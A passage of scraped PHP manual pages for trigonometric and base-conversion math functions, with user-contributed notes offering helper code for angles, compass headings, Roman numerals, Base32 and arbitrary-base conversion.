Use the 'law of cosines' :

<?php
//        a²+b²-c²
// cosC = --------
//           2ab

function calculateAngle($c,$a,$b)
{
    $angleInRadians=acos((pow($a,2) + pow($b,2) - pow($c,2)) / (2 * $a * $b));
    return rad2deg($angleInRadians);
}
?>

$a, $b, $c are the triangle sides.

The function returns the angle opposite side c, in degrees.
zoltan dot szentesi at nokia dot com 06-Aug-2006 03:29
Wondering what is the use of 'acos' function?

It is essential in games, animations and drawings to determine the location of two objects relating to each other.

To the point: the angle of two vectors is calculated by

           v1X*v2X + v1Y*v2Y
  acos(--------------------------)=angle between two vectors.
               |v1| * |v2|

 |v1| and |v2| are the length of the vectors and calculated using Pithagoras-formula: |v1|=sqrt(v1X*v1X + v1Y*v1Y)

This helped me to calculate and share given space for 'n' amount of objects so that they don't overlap.

Enjoy! :-)
abs
acosh
Math Functions


Inverse hyperbolic cosine

acos
asin
Math Functions
PHP Manual

acosh

(PHP 4 >= 4.1.0, PHP 5)

acosh — Inverse hyperbolic cosine

Description

float acosh ( float $arg )

Returns the inverse hyperbolic cosine of arg, i.e. the value whose hyperbolic cosine is arg.

Parameters

arg

The value to process

Return Values

The inverse hyperbolic cosine of arg

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • cosh() - Hyperbolic cosine
  • acos() - Arc cosine
  • asinh() - Inverse hyperbolic sine
  • atanh() - Inverse hyperbolic tangent

User Contributed Notes

There are no user contributed notes for this page.
acos
asin
Math Functions


Arc sine

acosh
asinh
Math Functions
PHP Manual

asin

(PHP 4, PHP 5)

asin — Arc sine

Description

float asin ( float $arg )

Returns the arc sine of arg in radians. asin() is the complementary function of sin(), which means that a==sin(asin(a)) for every value of a that is within asin()'s range.

Parameters

arg

The argument to process

Return Values

The arc sine of arg in radians

See Also

  • sin() - Sine
  • asinh() - Inverse hyperbolic sine
  • acos() - Arc cosine
  • atan() - Arc tangent

User Contributed Notes

There are no user contributed notes for this page.
acosh
asinh
Math Functions


Inverse hyperbolic sine

asin
atan2
Math Functions
PHP Manual

asinh

(PHP 4 >= 4.1.0, PHP 5)

asinh — Inverse hyperbolic sine

Description

float asinh ( float $arg )

Returns the inverse hyperbolic sine of arg, i.e. the value whose hyperbolic sine is arg.

Parameters

arg

The argument to process

Return Values

The inverse hyperbolic sine of arg

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • sinh() - Hyperbolic sine
  • asin() - Arc sine
  • acosh() - Inverse hyperbolic cosine
  • atanh() - Inverse hyperbolic tangent

User Contributed Notes

ape_cwb at yahoo dot com dot br 15-Nov-2007 05:40
The correct implementation of asinh(x) for Windows plataform is:

-------------------------------------------------------
function asinh($x)
{
        return ln($x + sqrt(1 + pow($x, 2)));
}

function ln($x)
{
     return $x = log($x)/log(M_E);
}
--------------------------------------------------------

The worksheet above includes a comparation about the native asinh(x) and the implemented version using LN and LOG (like Snoyes posted on 27-Dec-2005 07:42)

http://www.mavadesign.com.br/allan/asinh(x).xls

This implementation using LN, give THE SAME results that function asinh(x) linux native.

Allan Patrick Engel
Curitiba - Paraná - Brasil
Arakrys 08-Jun-2007 12:57
When using snoyes alternative bcasinh function, don't forget to check the precision of each single bcfunction or the default precision of ini setting bcmath.scale.
snoyes at gmail dot com 27-Dec-2005 07:42
asinh for windows:

The definition for asinh is asinh(z) = log(z + sqrt(z^2 + 1))

The built-in math functions and operators give poor results for small values of z.  The BCMath version produces closer results, but still quite distant if z < 1.  A BCMath version of the log function might help.

if (!function_exists("asinh")) {
    function asinh($z) {
      return log($z + sqrt($z^2 +1));
    }
}

if (!function_exists("bcasinh")) {
    function bcasinh($z) {
      return log(bcadd($z, bcsqrt(bcadd(bcpow($z, 2), 1))));
    }
}
asin
atan2
Math Functions


Arc tangent of two variables

asinh
atan
Math Functions
PHP Manual

atan2

(PHP 4, PHP 5)

atan2 — Arc tangent of two variables

Description

float atan2 ( float $y , float $x )

This function calculates the arc tangent of the two variables x and y. It is similar to calculating the arc tangent of y / x, except that the signs of both arguments are used to determine the quadrant of the result.

The function returns the result in radians, which is between -PI and PI (inclusive).

Parameters

y

Dividend parameter

x

Divisor parameter

Return Values

The arc tangent of y/x in radians.

See Also

  • atan() - Arc tangent

User Contributed Notes

andyidol at gmail dot com 10-Aug-2010 08:18
This function will return degree by vertex coordinates in general trigonometrical coordinate system where zero is located at position (1, 0), 90' at (0, 1), 180' at (-1, 0) and so on.

<?php

function GetDegree($x, $y)
{
  // we don't want to cause division by zero
  if($x == 0) $x = 1 / 10000;

  $deg = rad2deg(atan(abs($y / $x)));

  if($y >= 0) $deg = $x < 0 ? 180 - $deg : $deg;
  else        $deg = $x < 0 ? 180 + $deg : 360 - $deg;

  return $deg;

}

?>
fred dot beck at rrd dot com 11-Jan-2009 12:39
<?php
/**
 *    Given an origin point of (0,0) and a destination point $x,$y
 *  somewhere on an axis grid, compass() determines the compass
 *  heading(direction) of the destination point from the origin
 *
 *  HOWEVER, atan2(y,x)'s natural compass thinks east is north,
 *
 *  {135}-------{ 90}-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {180} [-x]  [0,0]  [+x] {0} <--------- North ?
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{-90}-------{-45}
 *
 *
 *    SO, we simply transpose the (y,x) parameters to atan2(x,y)
 *     which will both rotate(left) and reflect(mirror) the compass.
 *
 *  Which gives us this compass
 *
 *  {-45}-------{ 0 }-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {-90} [-x]  [0,0]  [+x] {90}
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{180}-------{135}
 *
 *  FINALLY,` we check if param $x was indeed a negative number,
 *  if so we simply add 360 to the negative angle returned by atan2()
 *
 */
function compass($x,$y)
    {
        if($x==0 AND $y==0){ return 0; } // ...or return 360
        return ($x < 0)
        ? rad2deg(atan2($x,$y))+360      // TRANSPOSED !! y,x params
        : rad2deg(atan2($x,$y));
    }
function polar($x,$y)
    {
        $N = ($y>0)?'N':'';
        $S = ($y<0)?'S':'';
        $E = ($x>0)?'E':'';
        $W = ($x<0)?'W':'';
        return $N.$S.$E.$W;
    }
function show_compass($x,$y)
     {
         return '<BR>'
             .polar($x,$y)
             .' compass( x='.$x.', y='.$y.' )= '
             .number_format(compass($x,$y),3).'&deg';
     }

echo show_compass(0,3);
echo show_compass(.06,3);
echo show_compass(3,3);
echo show_compass(3,.06);
echo show_compass(3,0);
echo show_compass(3,-.06);
echo show_compass(3,-3);
echo show_compass(.06,-3);
echo show_compass(0,-3);
echo show_compass(-.06,-3);
echo show_compass(-3,-3);
echo show_compass(-3,-.06);
echo show_compass(-3,0);
echo show_compass(-3,.06);
echo show_compass(-3,3);
echo show_compass(-.06,3);

/* RENDERS THIS

N compass( x=0, y=3 )= 0 °
NE compass( x=0.06, y=3 )= 1.14576283818 °
NE compass( x=3, y=3 )= 45 °
NE compass( x=3, y=0.06 )= 88.8542371618 °
E compass( x=3, y=0 )= 90 °
SE compass( x=3, y=-0.06 )= 91.1457628382 °
SE compass( x=3, y=-3 )= 135 °
SE compass( x=0.06, y=-3 )= 178.854237162 °
S compass( x=0, y=-3 )= 180 °
SW compass( x=-0.06, y=-3 )= 181.145762838 °
SW compass( x=-3, y=-3 )= 225 °
SW compass( x=-3, y=-0.06 )= 268.854237162 °
W compass( x=-3, y=0 )= 270 °
NW compass( x=-3, y=0.06 )= 271.145762838 °
NW compass( x=-3, y=3 )= 315 °
NW compass( x=-0.06, y=3 )= 358.854237162 °

*/

?>
Monte Shaffer 08-Jun-2007 11:35
Here is a function that will return a new point [Rotate around non-origin pivot point]

(x,y) is current point
(cx,cy) is pivot point to rotate
=a= is angle in degrees

    $_rotation     = 1;      # -1 = counter, 1 = clockwise
    $_precision    = 2;      # two decimal places

function returnRotatedPoint($x,$y,$cx,$cy,$a)
    {
    # http://mathforum.org/library/drmath/view/63184.html
    global $_rotation;     # -1 = counter, 1 = clockwise
    global $_precision;    # two decimal places

            // radius using distance formula
            $r = sqrt(pow(($x-$cx),2)+pow(($y-$cy),2));
            // initial angle in relation to center
            $iA = $_rotation * rad2deg(atan2(($y-$cy),($x-$cx)));

            $nx = number_format($r * cos(deg2rad($_rotation * $a + $iA)),$_precision);
            $ny = number_format($r * sin(deg2rad($_rotation * $a + $iA)),$_precision);

    return array("x"=>$cx+$nx,"y"=>$cy+$ny);
    }
reubs at idsdatanet dot com 23-May-2003 01:01
Just a note:

PHP's atan2 function receives parameters in (y,x) and Excel receives it in (x,y) format. Just in case you are porting formulas across. :)
asinh
atan
Math Functions


Arc tangent

atan2
atanh
Math Functions
PHP Manual

atan

(PHP 4, PHP 5)

atan — Arc tangent

Description

float atan ( float $arg )

Returns the arc tangent of arg in radians. atan() is the complementary function of tan(), which means that a==tan(atan(a)) for every value of a that is within atan()'s range.

Parameters

arg

The argument to process

Return Values

The arc tangent of arg in radians.

See Also

  • tan() - Tangent
  • atanh() - Inverse hyperbolic tangent
  • asin() - Arc sine
  • acos() - Arc cosine

User Contributed Notes

joelperr at kiwi-interactif dot com 11-Jan-2006 05:12
to obtain the direction of the line, you are better to use the <? atan2((y2-y1)/(x2-x1)) ?> function, since the regular atan function will only return arguments in the half-plane, ie. if y2-y1 and x2-x1 are negative, atan will give you an angle measurement less than 90 degrees, while it really should be  between 180 and 270
darren_wheatley at hotmail dot com 27-Nov-2003 06:24
Arc Tan curve manipulation.

I used this formula to help with increasing and then diminishing return for y given an increasing x for a game.

Ie: Food production (output) is y. Food research is x.

The more research you put into x the more you produce, however after a certain point you get less reward.

 y = atan(x - pi()) + pi()/2;

The + pi()/2 moves it up the y axis so you'd add more if you want it to start higher.

The x - pi() moves it to the right so you'd minus more to move it more.

If you want stretched along the y axis change it to 2 * atan( ...... )

Dunno how useful it is... but it's there.

Daz
jmartin at columbiaservices dot net 21-Nov-2003 12:10
I looked for hours trying to come up with a formula to solve the direction that a line was heading (in degrees) when x1,y1 were the starting points, and x2,y2 are the ending points. Here is the equasion I was given, I hope this helps anyone in need of the same one.

$angle = rad2deg(atan2(($y2 - $y1), ($x2 - x1)));
atan2
atanh
Math Functions


Inverse hyperbolic tangent

atan
base_convert
Math Functions
PHP Manual

atanh

(PHP 4 >= 4.1.0, PHP 5)

atanh — Inverse hyperbolic tangent

Description

float atanh ( float $arg )

Returns the inverse hyperbolic tangent of arg, i.e. the value whose hyperbolic tangent is arg.

Parameters

arg

The argument to process

Return Values

Inverse hyperbolic tangent of arg

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • tanh() - Hyperbolic tangent
  • atan() - Arc tangent
  • asinh() - Inverse hyperbolic sine
  • acosh() - Inverse hyperbolic cosine

User Contributed Notes

There are no user contributed notes for this page.
atan
base_convert
Math Functions


Convert a number between arbitrary bases

atanh
bindec
Math Functions
PHP Manual

base_convert

(PHP 4, PHP 5)

base_convert — Convert a number between arbitrary bases

Description

string base_convert ( string $number , int $frombase , int $tobase )

Returns a string containing number represented in base tobase. The base in which number is given is specified in frombase. Both frombase and tobase have to be between 2 and 36, inclusive. Digits in numbers with a base higher than 10 will be represented with the letters a-z, with a meaning 10, b meaning 11 and z meaning 35.

Warning

base_convert() may lose precision on large numbers due to properties related to the internal "double" or "float" type used. Please see the Floating point numbers section in the manual for more specific information and limitations.

Parameters

number

The number to convert

frombase

The base number is in

tobase

The base to convert number to

Return Values

number converted to base tobase

Examples

Example #1 base_convert() example

<?php
$hexadecimal = 'A37334';
echo base_convert($hexadecimal, 16, 2);
?>

The above example will output:

101000110111001100110100

See Also

  • intval() - Get the integer value of a variable

User Contributed Notes

Vlado Nenov 24-Jan-2012 08:34
For bigger numbers, base_convert() returns wired numbers, use some of the functions from the comments until it is fixed.

Test your PHP version with the following code:

$code_1 = "F255I000000";
$binary_1 = base_convert($code_1, 31, 2);
echo "code 1: $code_1\n";
echo "code 2: ".base_convert($binary_1, 2, 31);

if code 1 and code 2 are the same, then everything is OK...
PHPCoder at niconet2k dot com 17-Nov-2011 10:45
Convert an arbitrarily large number from any base to any base.

string convBase(string $numberInput, string $fromBaseInput, string $toBaseInput)
$numberInput number to convert as a string
$fromBaseInput base of the number to convert as a string
$toBaseInput base the number should be converted to as a string
examples for $fromBaseInput and $toBaseInput
'0123456789ABCDEF' for Hexadecimal (Base16)
'0123456789' for Decimal (Base10)
'01234567' for Octal (Base8)
'01' for Binary (Base2)
You can really put in whatever you want and the first character is the 0.
Examples:

<?php
convBase('123', '0123456789', '01234567');
//Convert '123' from decimal (base10) to octal (base8).
//result: 173

convBase('70B1D707EAC2EDF4C6389F440C7294B51FFF57BB', '0123456789ABCDEF', '01');
//Convert '70B1D707EAC2EDF4C6389F440C7294B51FFF57BB' from hexadecimal (base16) to binary (base2).
//result:
//111000010110001110101110000011111101010110000101110
//110111110100110001100011100010011111010001000000110
//001110010100101001011010100011111111111110101011110
//111011

convBase('1324523453243154324542341524315432113200203012', '012345', '0123456789ABCDEF');
//Convert '1324523453243154324542341524315432113200203012' from senary (base6) to hexadecimal (base16).
//result: 1F9881BAD10454A8C23A838EF00F50

convBase('355927353784509896715106760','0123456789','Christopher');
//Convert '355927353784509896715106760' from decimal (base10) to undecimal (base11) using "Christopher" as the numbers.
//result: iihtspiphoeCrCeshhorsrrtrh

convBase('1C238Ab97132aAC84B72','0123456789aAbBcCdD', '~!@#$%^&*()');
//Convert'1C238Ab97132aAC84B72' from octodecimal (base18) using '0123456789aAbBcCdD' as the numbers to undecimal (base11) using '~!@#$%^&*()' as the numbers.
//result: !%~!!*&!~^!!&(&!~^@#@@@&

function convBase($numberInput, $fromBaseInput, $toBaseInput)
{
    if ($fromBaseInput==$toBaseInput) return $numberInput;
    $fromBase = str_split($fromBaseInput,1);
    $toBase = str_split($toBaseInput,1);
    $number = str_split($numberInput,1);
    $fromLen=strlen($fromBaseInput);
    $toLen=strlen($toBaseInput);
    $numberLen=strlen($numberInput);
    $retval='';
    if ($toBaseInput == '0123456789')
    {
        $retval=0;
        for ($i = 1;$i <= $numberLen; $i++)
            $retval = bcadd($retval, bcmul(array_search($number[$i-1], $fromBase),bcpow($fromLen,$numberLen-$i)));
        return $retval;
    }
    if ($fromBaseInput != '0123456789')
        $base10=convBase($numberInput, $fromBaseInput, '0123456789');
    else
        $base10 = $numberInput;
    if ($base10<strlen($toBaseInput))
        return $toBase[$base10];
    while($base10 != '0')
    {
        $retval = $toBase[bcmod($base10,$toLen)].$retval;
        $base10 = bcdiv($base10,$toLen,0);
    }
    return $retval;
}
?>
bpds 30-Sep-2011 05:47
A simple function to convert an int to any base.

<?php
function intToAlphaBaseN($n,$baseArray) {
    $l=count($baseArray);
    $s = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $s =  $baseArray[($n % pow($l, $i) / pow($l, $i - 1))].$s;
        $n -= pow($l, $i);
    }
    return $s;
}

$alpha=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$r=rand(0, 99999999999);
echo(intToAlphaBaseN($r,$alpha));
?>
JR 16-Aug-2011 04:19
Short arabic2roman conveter:

<?php
function rome($N){
        $c='IVXLCDM';
        for($a=5,$b=$s='';$N;$b++,$a^=7)
                for($o=$N%$a,$N=$N/$a^0;$o--;$s=$c[$o>2?$b+$N-($N&=-2)+$o=1:$b].$s);
        return $s;
}
?>

And it works :)
bryan at bryanruiz dot com 03-Feb-2011 03:11
A RFC 4648 Compliant Base32 encode.  Send me an email if you end up making this thing more efficient with bitwise operations and whatever else.

<?php

/**
 * Encode in Base32 based on RFC 4648.
 * Requires 20% more space than base64
 * Great for case-insensitive filesystems like Windows and URL's  (except for = char which can be excluded using the pad option for urls)
 *
 * @package default
 * @author Bryan Ruiz
 **/
class Base32 {

   private static $map = array(
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', //  7
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 15
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 23
        'Y', 'Z', '2', '3', '4', '5', '6', '7', // 31
        '='  // padding char
    );

   private static $flippedMap = array(
        'A'=>'0', 'B'=>'1', 'C'=>'2', 'D'=>'3', 'E'=>'4', 'F'=>'5', 'G'=>'6', 'H'=>'7',
        'I'=>'8', 'J'=>'9', 'K'=>'10', 'L'=>'11', 'M'=>'12', 'N'=>'13', 'O'=>'14', 'P'=>'15',
        'Q'=>'16', 'R'=>'17', 'S'=>'18', 'T'=>'19', 'U'=>'20', 'V'=>'21', 'W'=>'22', 'X'=>'23',
        'Y'=>'24', 'Z'=>'25', '2'=>'26', '3'=>'27', '4'=>'28', '5'=>'29', '6'=>'30', '7'=>'31'
    );

    /**
     *    Use padding false when encoding for urls
     *
     * @return base32 encoded string
     * @author Bryan Ruiz
     **/
    public static function encode($input, $padding = true) {
        if(empty($input)) return "";
        $input = str_split($input);
        $binaryString = "";
        for($i = 0; $i < count($input); $i++) {
            $binaryString .= str_pad(base_convert(ord($input[$i]), 10, 2), 8, '0', STR_PAD_LEFT);
        }
        $fiveBitBinaryArray = str_split($binaryString, 5);
        $base32 = "";
        $i=0;
        while($i < count($fiveBitBinaryArray)) {
            $base32 .= self::$map[base_convert(str_pad($fiveBitBinaryArray[$i], 5,'0'), 2, 10)];
            $i++;
        }
        if($padding && ($x = strlen($binaryString) % 40) != 0) {
            if($x == 8) $base32 .= str_repeat(self::$map[32], 6);
            else if($x == 16) $base32 .= str_repeat(self::$map[32], 4);
            else if($x == 24) $base32 .= str_repeat(self::$map[32], 3);
            else if($x == 32) $base32 .= self::$map[32];
        }
        return $base32;
    }

    public static function decode($input) {
        if(empty($input)) return;
        $paddingCharCount = substr_count($input, self::$map[32]);
        $allowedValues = array(6,4,3,1,0);
        if(!in_array($paddingCharCount, $allowedValues)) return false;
        for($i=0; $i<4; $i++){
            if($paddingCharCount == $allowedValues[$i] &&
                substr($input, -($allowedValues[$i])) != str_repeat(self::$map[32], $allowedValues[$i])) return false;
        }
        $input = str_replace('=','', $input);
        $input = str_split($input);
        $binaryString = "";
        for($i=0; $i < count($input); $i = $i+8) {
            $x = "";
            if(!in_array($input[$i], self::$map)) return false;
            for($j=0; $j < 8; $j++) {
                $x .= str_pad(base_convert(@self::$flippedMap[@$input[$i + $j]], 10, 2), 5, '0', STR_PAD_LEFT);
            }
            $eightBits = str_split($x, 8);
            for($z = 0; $z < count($eightBits); $z++) {
                $binaryString .= ( ($y = chr(base_convert($eightBits[$z], 2, 10))) || ord($y) == 48 ) ? $y:"";
            }
        }
        return $binaryString;
    }
}
francesco[at]paladinux.net 23-Sep-2010 03:30
base convert is limited on standard base invented.
In some case, if you want to invented some translate code (for authorizion code 4 example) , I hope is usefull this example of base_convert-AS from decimal in 65imal base for a speedCode.
Some more specifical: you can transform using a db
$speedCodeDEC            = $idAziendaMittente.$idAziendaDestinatario.$idDDT ;

//$speedCodeDEC = 3000;

//
$BASECODE = array();
$BASECODE['items'] = 65;
$BASECODE[1]='1';
$BASECODE[2]='2';
$BASECODE[3]='3';
$BASECODE[4]='4';
....
$BASECODE[10]='a';
$BASECODE[11]='b';
$BASECODE[12]='c';
...
$BASECODE[36]='A';
$BASECODE[37]='B';
$BASECODE[38]='C';
...
$BASECODE[61]='Z';
$BASECODE[62]='/';
$BASECODE[63]='-';
$BASECODE[64]='+';
//

//print_r ($BASECODE);TEST

function creaSpeedCode ( $speedCodeDEC,$partialCode="",$BASECODE){

    @$division      = $speedCodeDEC/$BASECODE['items'];
    @$resultINT   = floor($speedCodeDEC/$BASECODE['items']);
    @$remnant          = $speedCodeDEC%$BASECODE['items'];
    $partialCode  = $BASECODE[$remnant].$partialCode;
echo "
    <br>
    Inserito speedCodeDEC:$speedCodeDEC - partialCode:$partialCode<br>
    items            : ".$BASECODE['items']."<br>
    division          : $division    <br>
    resultINT        : $resultINT    <br>
    remnant            : $remnant        <br>
    partialCode        : $partialCode    <br>
";//TEST
    if ($resultINT > 65)     $partialCode = creaSpeedCode($resultINT,$partialCode,$BASECODE);
    return $BASECODE[$resultINT].$partialCode;
}
echo $speedCodeDEC."<br>";
echo $risultato = creaSpeedCode ( $speedCodeDEC,"",$BASECODE);
Theriault 30-Nov-2009 02:11
If you would like to convert numbers into just the uppercase alphabet base and vice-versa (e.g. the column names in a Microsoft Windows Excel sheet..A-Z, AA-ZZ, AAA-ZZZ, ...), the following functions will do this.

<?php

/**
 * Converts an integer into the alphabet base (A-Z).
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function num2alpha($n) {
    $r = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $r = chr(0x41 + ($n % pow(26, $i) / pow(26, $i - 1))) . $r;
        $n -= pow(26, $i);
    }
    return $r;
}
/**
 * Converts an alphabetic string into an integer.
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function alpha2num($a) {
    $r = 0;
    $l = strlen($a);
    for ($i = 0; $i < $l; $i++) {
        $r += pow(26, $i) * (ord($a[$l - $i - 1]) - 0x40);
    }
    return $r - 1;
}

?>

Microsoft Windows Excel stops at IV (255), but this function can handle much larger. However, English words will start to form after a while and some may be offensive, so be careful.
MFTM 16-Aug-2009 11:30
It might be a better function to deal with numbers over 9000. (even 10 millions)

<?php

function romanic_number($integer, $upcase = true)
{
    $table = array('M'=>1000, 'CM'=>900, 'D'=>500, 'CD'=>400, 'C'=>100, 'XC'=>90, 'L'=>50, 'XL'=>40, 'X'=>10, 'IX'=>9, 'V'=>5, 'IV'=>4, 'I'=>1);
    $return = '';
    while($integer > 0)
    {
        foreach($table as $rom=>$arb)
        {
            if($integer >= $arb)
            {
                $integer -= $arb;
                $return .= $rom;
                break;
            }
        }
    }

    return $return;
}
?>
cyrilbele at yahoo dot fr 16-Apr-2009 01:58
If you want to do sharding, at some point you will need to decide which shard to target. Here is a simple function to assign the data to a particular shard based on a key (usually identifier of the row)

Here is a simple function to get the shard based on the key and the number of shards available

<?php
function getShard($key,$nbShards) {
    $num = substr(base_convert(sha1($key), 16, 10),4,6);
    return $num%$nbShards;
}
?>
dorantor 13-May-2008 10:42
Spent almost a day to find a bug(?) in base_convert() function when converting big values to binary:

<?php
$value = 2919739656537;
echo base_convert($value, 10, 2);
?>
should print
101010011111001110000010111000100101011001
in reality, prints
10101000111000001100011100110101110110100100
but that is wrong!

so, in result, I've written this two functions:
<?php
/**
 * Convert binary to decimal
 * works with big numbers
 *
 * @param string $binary
 * @return float
 */
function big_bin2dec($binary)
{
    $result = (float)0;

    $shift = 0;
    while ( 0 < strlen($binary) ) {
        $bit    = substr($binary, -1);
        $binary    = substr($binary, 0, -1);
        $result = $result + $bit*pow(2, $shift);
        ++$shift;
    }
    return $result;
}

/**
 * convert decimal 2 binary presentation
 *
 * @param mixed $dec
 * @return string
 */
function big_dec2bin($dec)
{
    $result    = '';
    $shift    = 0;
    while ( pow(2, $shift) < $dec ) {
        ++$shift;
    }
    while ( 0 <= $shift ) {
        $pow = pow(2, $shift);
        if ( $pow <= $dec ) {
            $dec-= $pow;
            $result = $result . '1';
        } else {
            $result = $result . '0';
        }
        --$shift;
    }
    return $result;
}
?>
Functions tested only with positive integers(that's enough for me), so if you need more than this you'll, possibly, have to rework 'em.

Simple test:
<?php
$value = pow(2, 48);//only one bit should be set

printf("%f \n", $value);
echo base_convert($value, 10, 2), "\n";
echo big_dec2bin($value), "\n";
?>
prints out something similar to:
281474976710656.000000
110011001100110011001100110011001100111001010
1000000000000000000000000000000000000000000000000

I hope this will help someone :)
BTW! My phpinfo() says PHP Version 5.2.1
Ray Paseur sometimes uses GMail 06-Dec-2006 03:55
[EDIT BY danbrown AT php DOT net: This function provides conversion of Arabic numerals (those used by most of the world, the standard 1,2,3,4,...) into Roman numerals (I,II,III,IV,...).  The original author failed to provide a description, but due to the usefulness of the function, it is being preserved from deletion, and a simple description added.]

<?php
function roman_numerals($input_arabic_numeral='') {

    if ($input_arabic_numeral == '') { $input_arabic_numeral = date("Y"); } // DEFAULT OUTPUT: THIS YEAR
    $arabic_numeral            = intval($input_arabic_numeral);
    $arabic_numeral_text    = "$arabic_numeral";
    $arabic_numeral_length    = strlen($arabic_numeral_text);

    if (!ereg('[0-9]', $arabic_numeral_text)) {
return false; }

    if ($arabic_numeral > 4999) {
return false; }

    if ($arabic_numeral < 1) {
return false; }

    if ($arabic_numeral_length > 4) {
return false; }

    $roman_numeral_units    = $roman_numeral_tens        = $roman_numeral_hundreds        = $roman_numeral_thousands        = array();
    $roman_numeral_units[0]    = $roman_numeral_tens[0]    = $roman_numeral_hundreds[0]    = $roman_numeral_thousands[0]    = ''; // NO ZEROS IN ROMAN NUMERALS

    $roman_numeral_units[1]='I';
    $roman_numeral_units[2]='II';
    $roman_numeral_units[3]='III';
    $roman_numeral_units[4]='IV';
    $roman_numeral_units[5]='V';
    $roman_numeral_units[6]='VI';
    $roman_numeral_units[7]='VII';
    $roman_numeral_units[8]='VIII';
    $roman_numeral_units[9]='IX';

    $roman_numeral_tens[1]='X';
    $roman_numeral_tens[2]='XX';
    $roman_numeral_tens[3]='XXX';
    $roman_numeral_tens[4]='XL';
    $roman_numeral_tens[5]='L';
    $roman_numeral_tens[6]='LX';
    $roman_numeral_tens[7]='LXX';
    $roman_numeral_tens[8]='LXXX';
    $roman_numeral_tens[9]='XC';

    $roman_numeral_hundreds[1]='C';
    $roman_numeral_hundreds[2]='CC';
    $roman_numeral_hundreds[3]='CCC';
    $roman_numeral_hundreds[4]='CD';
    $roman_numeral_hundreds[5]='D';
    $roman_numeral_hundreds[6]='DC';
    $roman_numeral_hundreds[7]='DCC';
    $roman_numeral_hundreds[8]='DCCC';
    $roman_numeral_hundreds[9]='CM';

    $roman_numeral_thousands[1]='M';
    $roman_numeral_thousands[2]='MM';
    $roman_numeral_thousands[3]='MMM';
    $roman_numeral_thousands[4]='MMMM';

    if ($arabic_numeral_length == 3) { $arabic_numeral_text = "0" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 2) { $arabic_numeral_text = "00" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 1) { $arabic_numeral_text = "000" . $arabic_numeral_text; }

    $anu = substr($arabic_numeral_text, 3, 1);
    $anx = substr($arabic_numeral_text, 2, 1);
    $anc = substr($arabic_numeral_text, 1, 1);
    $anm = substr($arabic_numeral_text, 0, 1);

    $roman_numeral_text = $roman_numeral_thousands[$anm] . $roman_numeral_hundreds[$anc] . $roman_numeral_tens[$anx] . $roman_numeral_units[$anu];
return ($roman_numeral_text);
}
?>
CJ Dennis 06-Apr-2006 01:03
Really huge numbers might be truncated at both ends.
eg:
<?php
$binary="11010101001111010001110101000100011110010110110".
"001111000010001010001111001100011010110110010010011010".
"001011010000001001011111110001010101101101011010101010".
"000100011101110010110010100111110001010010111010110011".
"001111111100011001011011001110001111110000101011010010";
print(strtoupper(base_convert($binary, 2, 16)));
?>
will output:
9E8EA23CB63C0000000000000000000000000000000000000000000000000000 (64 hex digits)
when the correct result would be:
6A9E8EA23CB63C228F31AD9268B4097F156D6AA11DCB29F14BACCFF196CE3F0AD2 (66 hex digits)
Notice that as well as the result showing '0's after B63C which you would expect it is also missing the first 6A before 9E.
lindsay at bitleap dot com 18-Mar-2005 01:17
If you need to use base_convert with numbers larger then 32 bit, the following gmp implementation of base_convert should work.

<?php

/*use gmp library to convert base. gmp will convert numbers > 32bit*/
function gmp_convert($num, $base_a, $base_b)
{
        return gmp_strval ( gmp_init($num, $base_a), $base_b );
}

?>
simon at simonster dot com 15-Jun-2004 06:05
Here are some functions for converting integers to and from base 256. Converting to base 64 is simple given these.

<?php
function to_base256($number, $from_base = 10) {
    $binary_number = base_convert($number, $from_base, 2);
    $final_string = "";
    $new_length = (ceil(strlen($binary_number)/8)*8);
    $binary_number = str_pad($binary_number, $new_length, "0", STR_PAD_LEFT);
    for($i=($new_length-8); $i>=0; $i-=8) {
        $final_string = chr(base_convert(substr($binary_number, $i, 8), 2, 10)).$final_string;
    }
    return $final_string;
}

function from_base256($string, $to_base = 10) {
    $number = "";
    for($i=0; $i<strlen($string); $i++) {
        $number .= str_pad(base_convert(ord($string{$i}), 10, 2), 8, "0", STR_PAD_LEFT);
    }
    return base_convert($number, 2, $to_base);
}
?>

Yes, I know that this would be more efficient if it used mod instead of base_convert, but it needs to work with integers > 32 bits.
AdamJacobMuller at AdamJacobMuller dot com 28-Apr-2004 02:20
<?php
function binarycodedstring2dec($binary) {
        $len=strlen($binary);
        $rows=($len/4)-1;
        if (($len%4)>0) {
                $pad=$len+(4-($len%4));
                $binary=str_pad($binary,$pad,"0",STR_PAD_LEFT);
                $len=strlen($binary);
                $rows=($len/4)-1;
        }
        $x=0;
        for ($x=0;$x<=$rows;$x++) {
                $s=($x*4);
                $bins=$binary[$s].$binary[$s+1].$binary[$s+2].$binary[$s+3];
                $num=base_convert($bins,2,10);
                if ($num>9) {
                        die("the string is not a proper binary coded decimal\n");
                } else {
                        $res.=$num;
                }
        }
        return $res;
}
?>

a binary coded decimal is converted by taking groups of four from a decimal string,
for example the binary coded decimal string
1000 = 8
10001000 does not = 136 but 88
so
binarycodedstring2dec(1000) = 8
binarycodedstring2dec(11100000111001)=3839
binarycodedstring2dec(100000111001)=839

i truly have no idea if this function will be useful to anyone, i simply failed a physics midterm because i didn't know this so i wrote this function to make sure i would never forget how to convert binary coded decimals
fiftytoo at buckeyeexpress dot com 24-Dec-2003 12:57
I needed a function to invert a hex value, which i used for setting font colors when they were on a colored background, that way i will get a contrasting color.

